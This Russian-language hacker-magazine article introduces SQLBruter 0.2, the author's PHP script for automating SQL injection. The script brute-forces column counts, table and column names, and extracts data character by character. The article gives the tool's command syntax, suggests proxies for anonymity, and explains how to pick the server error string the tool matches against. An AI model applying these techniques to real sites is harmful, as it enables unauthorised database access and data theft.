Все примеры даны лишь в ознакомительных целях. За применение на практике автор и редакция журнала ответственности не несут.

Если у тебя возникнут дополнительные вопросы, пиши автору, он готов к общению

Введение

Я уверен, что тебе не раз приходилось тратить довольно много времени на такое нудное и малоинтересное занятие, как определение количества столбцов между SELECT и WHERE, перебор названий таблиц, посимвольный брутфорс при атаках вида SQL Injection. Не удивлюсь, если ты скажешь, что тебе уже порядком надоело делать это вручную, каждый раз встречая эту уязвимость. Данная статья рассчитана на человека, знакомого со SQL инъекциями - в ней мы рассмотрим методы их автоматизированной эксплуатации на примере использования PHP скрипта SQLBruter 0.2 (скачать), созданного мною специально для этих целей.

Изучение работы скрипта

Прежде всего давай проанализируем все возможности, а также обязательные параметры для запуска скрипта. Итак, программа предоставляет четыре способа перебора:

1. перебор количества выбираемых полей;
2. названий таблиц;
3. названий столбцов;
4. посимвольный перебор;

Кроме того, в скрипте предусмотрен вывод результатов в лог-файл и использование прокси для твоей анонимности. В качестве обязательных параметров тебе необходимо указать хост для подключения, путь к скрипту с уязвимым параметром и, конечно же, тип перебора. Таким образом, запуск программы осуществляется по следующей схеме:

php sqlbruter.php HOST PATH MODE ADDITIONAL_PARAMS OPTIONS

где MODE - порядковый номер метода перебора. Что касается дополнительных параметров, то они зависят от конкретного способа брута.

Весь принцип работы скрипта основывается на поиске строки, указанной пользователем через параметр <string>, в возвращенном ответе сервера на неверный запрос. Если она найдена, то программа будет продолжать перебор до тех пор, пока сервер не вернет совершенно иной ответ, то есть при выполнении условия. Думаю, здесь все просто и понятно, однако для правильной работы прежде всего нужно точно определить параметр <string>. Для этого необходимо выяснить реакцию web-приложения на запрос, содержащего кавычку в конце уязвимого параметра. В некоторых случаях в ответе сервера мы можем увидеть такую фразу:

MySQL error : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘…’ at line.

Это означает, что разработчик скрипта позаботился о выводе ошибок, и при попытке подстановки неверного количества столбцов сервер всегда возвратит строку

"The used SELECT statements have a different number of columns".

Однако в большинстве случаев выводится стандартная ошибка

PHP: Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in z:\home\localhost\www\hackme.php on line 2.

Стоит отметить, что тебе нужно передать скрипту строку, которая действительно содержится в ответе. Например, просто указав

Warning: mysql_fetch_array()

ты не получишь корректного результата, потому что в исходнике присутствуют HTML-тэги. Поэтому верным решением было бы -

<b>Warning</b>: mysql_fetch_array()

Теперь давай рассмотрим каждый из методов перебора более детально.